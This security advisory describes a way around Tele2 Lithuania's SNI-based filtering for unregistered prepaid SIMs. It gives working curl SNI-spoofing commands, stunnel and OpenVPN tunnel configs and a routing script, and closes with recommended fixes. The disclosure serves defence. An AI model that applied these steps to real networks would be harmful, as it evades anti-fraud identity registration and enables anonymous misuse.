TELE2 PILDYK SIM Card Registration Bypass

General Overview

As of January 1, 2025, Lithuania has implemented mandatory registration for new prepaid SIM cards to combat fraud and criminal activities. Registration can be completed online through mobile operators’ platforms or in person at authorized stores using an official ID, such as a passport or national identity card. This measure does not affect existing prepaid SIM card users; they are not required to register their details.

While a SIM card is in an unregistered state, a mobile user can choose from various identity verification methods, such as online banking or document scanning. This allows unregistered mobile users to access a limited number of whitelisted websites, such as e.sb.lt, e.seb.lt, idvs.ondato.com, and other sites that serve as identity providers.

It was discovered that instead of whitelisting IP addresses, TELE2 uses SNI-based web filtering. This method blocks or controls access to websites by inspecting the Server Name Indication (SNI) field in the TLS handshake, which identifies the domain name the client is attempting to connect to. A malicious mobile user can exploit this setup to gain an anonymous, unlimited (?) mobile internet connection.

Proof of Concept

In this attack scenario, USB tethering is used to share the mobile internet connection with a Linux system. The following output demonstrates that when an unregistered mobile user attempts to access an arbitrary non-whitelisted website (e.g. critical.lt) using the plain-text HTTP protocol, the user is immediately redirected to the pildyk.lt website, where SIM card registration can be completed:

curl -v http://critical.lt 
* Host critical.lt:80 was resolved.
* IPv6: (none)
* IPv4: 168.63.68.36
* Trying 168.63.68.36:80...
* Connected to critical.lt (168.63.68.36) port 80
> GET / HTTP/1.1
> Host: critical.lt
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 302 Moved temporarily
< Location: https://pildyk.lt
< Connection: close
< 
* Closing connection

An attempt to access a non-whitelisted website using the encrypted HTTPS protocol results in a connection reset during the TLS handshake, following a successful TCP connection:

curl -k -v https://critical.lt
* Host critical.lt:443 was resolved.
* IPv6: (none)
* IPv4: 168.63.68.36
* Trying 168.63.68.36:443...
* Connected to critical.lt (168.63.68.36) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* Recv failure: Connection reset by peer
* OpenSSL SSL_connect: Connection reset by peer in connection to critical.lt:443 
* Closing connection
curl: (35) Recv failure: Connection reset by peer

This time, an attempt is made to establish a TLS connection to the IP address of a non-whitelisted website by providing a whitelisted SNI value. In the following example, the “–resolve” option of the curl command is used to specify that the whitelisted domain status.onfido.com should resolve to the IP address 168.63.68.36 (associated with critical.lt), instead of the IP address provided by DNS. This forces the curl tool to set the TLS SNI parameter to status.onfido.com.

The output shows that the SNI-based web filtering was successfully bypassed, and the main page of the critical.lt website was returned:

curl -k -v --resolve status.onfido.com:443:168.63.68.36 https://status.onfido.com/ 
* Added status.onfido.com:443:168.63.68.36 to DNS cache
* Hostname status.onfido.com was found in DNS cache
* Trying 168.63.68.36:443...
* Connected to status.onfido.com (168.63.68.36) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305 / X25519 / RSASSA-PSS
* ALPN: server accepted http/1.1
* Server certificate:
* subject: CN=critical.lt
* start date: Jan 29 17:56:37 2025 GMT
* expire date: Apr 29 17:56:36 2025 GMT
* issuer: C=US; O=Let's Encrypt; CN=R10
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* Certificate level 1: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/1.x
> GET / HTTP/1.1
> Host: status.onfido.com
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 02 Mar 2025 21:37:07 GMT
< Content-Type: text/html
< Content-Length: 63030
< Last-Modified: Wed, 15 Jan 2025 16:17:30 GMT
< Connection: keep-alive
< ETag: "6787df9a-f636"
< Accept-Ranges: bytes
< 
<!DOCTYPE html>
<html lang="en-US">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="profile" href="//gmpg.org/xfn/11">
<link rel="pingback" href="/xmlrpc.php">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Critical Security &#8211; Security Today</title>
[...]

Further attack steps involve establishing a TLS tunnel with a server controlled by the attacker and routing an OpenVPN connection through it. For example, on the server side, the attacker could deploy the stunnel tool with the following configuration file, which redirects incoming TLS-encapsulated connections on port 443 to the local TCP port 4443:

setuid = stunnel4
setgid = stunnel4
foreground = yes

[https-tunnel]
accept = 443
connect = 4443
cert = /etc/stunnel/stunnel.pem

On the same server, OpenVPN is configured to accept connections on the local port 4443 using TCP, instead of the default UDP protocol:

local 127.0.0.1
port 4443
proto tcp
dev tun
ca ca.crt
cert status.onfido.com.crt
key status.onfido.com.key
dh dh.pem
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist /var/log/openvpn/ipp.txt
keepalive 10 120
persist-key
persist-tun
status /var/log/openvpn/openvpn-status.log
verb 3
explicit-exit-notify 1

On the client system, stunnel is configured to redirect incoming connections on the local port 4443 to the server controlled by the attacker. The key setting here is the sni parameter, which must be set to one of the whitelisted domains, in this case, status.onfido.com is used:

setuid = stunnel4
setgid = stunnel4
foreground = yes

[https-tunnel]
client = yes
accept = 127.0.0.1:4443
connect = attacker_server:443
sni = status.onfido.com

Similar to the server configuration, the client-side OpenVPN configuration is adjusted to connect to the local TCP port 4443 using the TCP protocol. Additionally, the up and down directives are used to execute custom scripts when the OpenVPN connection is established or terminated, respectively:

client
dev tun
proto tcp
remote 127.0.0.1 4443
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert myclient1.crt
key myclient1.key
remote-cert-tls server
verb 3
script-security 2
up /etc/openvpn/add_routes.sh
down /etc/openvpn/del_routes.sh

For example, the add_routes.sh script updates DNS resolver settings and ensures that all network traffic is routed through the VPN tunnel, while keeping the TLS tunnel unaffected:

#!/bin/sh

sudo ip route add attacker_server via $(ip route | grep default | awk '{print $3}') dev usb0
sudo ip route add 0.0.0.0/1 via 10.8.0.1 dev tun0
sudo ip route add 128.0.0.0/1 via 10.8.0.1 dev tun0
echo "nameserver 8.8.8.8" | sudo tee /etc/resolvconf/resolv.conf.d/head > /dev/null
sudo resolvconf -u

Finally, the TLS tunnel is established first, and the VPN connection is then tunneled through it:

stunnel4 stunnel.conf
openvpn client.conf

Internet connectivity can be verified by executing the ping command:

ping google.com
PING google.com (74.125.193.100) 56(84) bytes of data.
64 bytes from di-in-f100.1e100.net (74.125.193.100): icmp_seq=1 ttl=103 time=86.3 ms
64 bytes from di-in-f100.1e100.net (74.125.193.100): icmp_seq=2 ttl=103 time=88.0 ms
64 bytes from di-in-f100.1e100.net (74.125.193.100): icmp_seq=3 ttl=103 time=84.3 ms
^C
--- google.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 84.321/86.216/88.022/1.512 ms

Recommended Solution

To address this security issue, TELE2 should replace the current SNI-based web filtering with IP whitelisting, allowing access only to authorized IP addresses. This approach will ensure that traffic is restricted to approved destinations, preventing malicious users from bypassing security controls. Additionally, implementing DNS filtering will further enhance network security by blocking DNS tunneling attempts.

About Us

© 2025 Critical Security